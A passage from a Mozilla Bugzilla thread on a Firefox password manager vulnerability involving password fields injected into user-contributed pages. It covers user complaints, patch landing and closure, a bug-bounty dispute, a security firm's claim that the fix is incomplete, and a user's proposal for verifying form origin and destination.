Again, my congratulations (ROFLOL)

If the powers that be think this message is a violation of the TOS, fine - "delete my account", it certainly won't upset me.

Just remember that any person or group who will not even listen to criticism is doomed to mediocrity.

Bob Novell
(In reply to comment #367)
> You have given me yet another reason to feel good about my decision to stop
> using Firefox and to recommend all my clients, friends, and family do likewise.

And you will take this opportunity to quit flooding bugzilla with your unappealing nonsense, right? You don't have to wait for (and work on) your account to get deleted, just leave. Thanks in advance, and good luck with your new favorite browser.
(In reply to comment #367)
> My congratulations on the mediocre way in which this bug has NOT been fixed and
> how you have managed to introduce at least one new problem along the way - the
> reported problem of losing all saved passwords.
> 
> I have to admit that given the progress of the work on this  bug, this new
> problem doesn't surprise me - it outrages and saddens me, but it does not
> surprise me.
> 
> I thank you for living down to my expectations.
> 
> You have given me yet another reason to feel good about my decision to stop
> using Firefox and to recommend all my clients, friends, and family do likewise.

Reading the 368 comments (so far) on this bug has been a nightmare for me; it seems that far less time has been taken to FIX the problem than carp at each other!  Nasty "comebacks" like Dao Gottwald's reply to Bob Novell certainly don't help matters.

Because of this lack of apparent cooperation in trying to REALLY improve Firefox, as opposed to constantly trying to "one-up" each other, I, too, will probably switch to another browser (particularly after reading a scary article regarding THIS thread's still-unfixed bug--an article which also notes a NEW major Firefox bug, and recommends--until this new bug is fixed--that all Firefox users should disable their Javascript!).

In short, I'm becoming AFRAID to use Firefox (which I never thought I'd say), and would appreciate it if Mr. Bob Novell could recommend which browser he thinks is best to switch to.  I have already tried, at various times, Internet Explorer 7 (which seems to me to still be the most vulnerable to hacker attacks), Netscape Navigator (which is WAY too complicated to use for a computer semi-literate like me), and Opera--which seems to me to be the best of the lot I've tried (next to the OLD Firefox), if I take the time to get used to its little quirks.  As I understand it, Apple's Safari is probably the finest of ALL browsers, and rumors are abounding that a Windows version of it might soon be released.

In any event--until Safari is available to Windows users--can you help me, Bob?

Thanks!

MARSHALL  
I've sent private mail to the latest commenter, so please don't anyone dog-pile on. This bug, like all bugs, should be a tool for fixing code. It's far from that right now. It needs light, not heat; facts, not fear.

Mike Connor is investigating comment 366. It sounds at first glance to me that Nandor may be using a trunk (Minefield, aka Firefox 3 alpha) build on the same profile as he's using Firefox 2.0.0.latest -- but he didn't say that he was using the trunk Firefox (which should be used on a separate profile while it is in alpha stage!). Nandor, please see comment 365.

The patch should have landed on the trunk, of course. That mistake does not justify all the violations of https://bugzilla.mozilla.org/page.cgi?id=etiquette.html in the recent several comments.

/be
This is the FF 2.0.0.2 patch (from this patch) applied to trunk.

No changes were needed. I did some sanity testing and it's working fine. Any post-2.0.0.2 issues, such as Brendan noted, are not addressed by this patch.
Attachment #256438 - Flags: review?
Attachment #256438 - Flags: review? → review?(mano)
I am sorry Brendan but unfortunately I don't understand what you are saying about trunk FF, (minefield, alfa, all like chinese for me) I only know that I have a problem with a browser I thought should be a good one, so I was a bit upset. Would be great some solution, in the meantime I'll just put in my PW's again.
However, actually I discovered that not all my PW's has been eaten up by FF.
Nandor
Short Note on Two Concerns

A quote from http://www.mozilla.org/security/announce/2007/mfsa2007-02.html
"MySpace has since stopped allowing password fields as part of user-contributed content."  Be advised that during testing of MySpace.com on January 29 we were able to successfully inject password fields into user-contributed sections of the website.  At that time, an unmitigated risk of this attack succeeding as described in the release notes still existed.

A quote from http://www.mozilla.org/security/bug-bounty.html "Reporters of valid critical security bugs will receive a $500 (US) cash reward and a Mozilla T-shirt."  We have received a tee-shirt and thank you for that.  Several inquiries about the $500 reward have gone unanswered.
IS there a followup bug for the problem that the passwords are not correctly migrated after the update? Mostly it is that the autofill is not working anymore but for a few people the passwords completely disappeared. It looks like that for those people a signon2.txt appears. The passwords can be salvaged from the original signons.txt file.
Blocks: 372223
(In reply to comment #373)
> A quote from http://www.mozilla.org/security/bug-bounty.html "Reporters of
> valid critical security bugs will receive a $500 (US) cash reward and a Mozilla
> T-shirt."

Unless you're claiming to be the original MySpace hacker this bug appears to fail the first bullet point in the bug bounty guidelines ("original and previously unreported"). It's not even really a "bug", it's a naive design from 2000 or earlier that is no longer appropriate for the increasingly hostile web environment (not to mention the insanity of rich user-contributed content).
Comment on attachment 256438 [details] [diff] [review]
Patch for trunk (FF3)

No review needed for trunk patch, since the branch patches were already  reviewed. [And the trunk patch does not have any noteworthy differences.]
Attachment #256438 - Flags: review?(mano)
mozilla/browser/app/profile/firefox.js 	1.173
mozilla/mail/app/profile/all-thunderbird.js 	1.91
mozilla/minimo/customization/all.js 	1.44
mozilla/toolkit/components/passwordmgr/base/nsPasswordManager.cpp 	1.91
mozilla/toolkit/components/passwordmgr/base/nsPasswordManager.h 	1.19
Status: ASSIGNED → RESOLVED
Closed: 17 years ago
Resolution: --- → FIXED
(In reply to comment #375)
> It's not even really a "bug"

In other words, Mozilla does not honor the advertised reward.
(In reply to comment #378)
> (In reply to comment #375)
> > It's not even really a "bug"
> 
> In other words, Mozilla does not honor the advertised reward.

It honors the advertised reward if the advertised conditions (as described at http://www.mozilla.org/security/bug-bounty.html) are satisfied. This bug report doesn't satisfy condition 1), per comment 375.
In reply to comment 379:

Oh please. So a white hat discovering and describing black hat behaviour doesn't qualify?  Right.  Certainly against the spirit of a bug bounty, if not the letter.
We've given bounties to people who raced to file a duplicate bug in the past that was based on partial public knowledge. We have not only rewarded originators of shellcode-level exploits in all cases.

We should not be stingy now. I will support Robert getting a bounty.

/be
Agreed, if this wasn't a bug we wouldn't have changed the behaviour of password manager.
Hmmm... can anyone comment on this from Secunia ?
It seems to have changed the vulnerability's (the one related to this bug, which had a 'fixed' status since 24-02-2007 before) status today :

http://secunia.com/advisories/23046/

quote them : "2007-03-05: Updated "Solution" section. The vulnerability is not fixed properly."
I haven't discussed 2.0.0.2 with Secunia yet so I don't think they're quoting us on that.  We're trying to set aside some time to look more closely at comments 344 through 351 and then give the new PM routines a vigorous shakedown.
fyi we will be adding Secunia to another bug dependency in 368959.
At this time if anyone could explain what the criteria would be for reopening this bug, I would appreciate it.  As we were not consulted before the status of this bug was changed, we now need to know if our analysis of the current patch will have any bearing on future development.  TIA.
(In reply to comment #386)
> At this time if anyone could explain what the criteria would be for reopening
> this bug, I would appreciate it.

Why do you want to reopen it? Do you think it's not fixed? If so, why?

> As we were not consulted before the status of this bug was changed, we now
> need to know if our analysis of the current patch will have any bearing on
> future development.  TIA.

Who is "we"? I don't understand the rest of your statement.
My colleagues and I have finished testing the Firefox v2.0.0.2 Password Manager, integrated portions of the Forms Manager, and the patch code for this bug.  A full discussion of the results would make this comment relatively long (7 pages), so a PDF will be attached instead.  I will provide the Executive Summary here.

Chapin Information Services (CIS) has concluded that the February 23 release of Firefox version 2.0.0.2 resolved approximately 24% of the security risk related to Bug #360493.  On January 29, a recommendation for current users to disable the Firefox Password Manager was published on the CIS website.  Given the actual amount of corrective action taken so far, it is impossible to change that recommendation at this time.  CIS suggests, at minimum, resolving the bugs blocking Bug #360493 to satisfy the current security needs of the average Internet user.

Brendan Eich requested that new bugs be created rather than keeping this one.  For your reference, several new bugs have been attached to meta Bug #373140.

On a personal note, it was a pleasure being part of improvements to the Firefox web browser, and I am looking forward to a safer version 2.0.0.3.
(In reply to comment #388)
> Chapin Information Services (CIS) has concluded that the February 23 release
> of Firefox version 2.0.0.2 resolved approximately 24% of the security risk
> related to Bug #360493.

Robert, this bug report has always been focused on the issue you describe in comment 0 (the "MySpace problem", and the testcase at http://www.info-svc.com/news/11-21-2006/rcsr1/). That's what the FIXED status and fixed keywords refer to. Your analysis of other Firefox password manager issues, while perhaps valuable, is not included in this bug's scope. Claiming that this bug and the issue described in it's associated Secunia advisory (http://secunia.com/advisories/23046/) are not resolved is misleading.

If you have further analysis that indicates that there are remaining problems with Firefox's password manager, please keep the discussion in the other bugs as needed. This bug has gotten way to big and hard to follow for it to have any remaining value. Keeping distinct issues in separate bugs is the only way to effectively track progress.
If there is a systemic bug that applies to generic behaviour rather than a tightly focused specific case how should it be filed?
Flags: blocking-firefox3?
Target Milestone: --- → Firefox 3 alpha5
Flags: blocking-firefox3?
What irritates me is that there is a lot of discussion, at the end a trivial problem has been patched away, but there is no systematic analysis and resolution  of the problem.

Ok, let's play with it: let us say you work in a shop. in the evening, somebody from a security company comes, takes the daily income and brings it to bank X.

Some day, a foreign appears, claims to work for the security company and wants to fetch the money. Would you give him the money? You are not sure. So you ask him where the money will be put. He says: "bank X". That sounds good, that is the correct bank. Will he get the money now?

This example is to show what happens:
-There is one instance claiming to be trustworth and getting something valuable. This is the web page with the form to be autofilled.

-there is another instance having the valuable thing, this is the password manager

-there is the 3rd instance receiving the valuable thing, this is the FORM action (destination, password receiver)

Now you see this construct is very similar to Kerberos ( http://en.wikipedia.org/wiki/Kerberos_%28protocol%29 http://upload.wikimedia.org/wikipedia/de/2/25/Kerberos_schema.png ). And it is clear now: the 1st and 3rd instances have to proof that they are trusted and may receive the credentials.
Also, the path from the 2nd to the 3rd instance must be secure so that the credentials cannot be robbed (by a script changing the from destination).

Now for a simple solution without key exchange:

It is ok to check the complete original url of the page and the destination url and we will be rather save. 

Unfortunately, some web services change the domain name often (www57.gmx.net, www43.gmx.net). In this case, we can ask the user if he wants to use the password for the whole domain. But how do we determine then if we can trust the webpage presenting the form? How do we know if it belongs to the original page? With https this is quite easy because the page presents as a certificate. 

So with https we remember the certificate, with http we remember the complete url of the page offering the form.

If the user wants to use the password in the whole domain without https, he should note that this opens a security hole.
Maybe it's time to integrate the Secure Login extension into Firefox Password manager. ;)

https://blueimp.net/mozilla/Secure%20Login/
Product: Firefox → Toolkit
Flags: in-testsuite?
Blocks: 1118400
See Also: → 1147561
See Also: → 1147563
See Also: → 1121119
Restrict Comments: true
Depends on: 1576148
See Also: → 786276
You need to log in before you can comment on or make changes to this bug.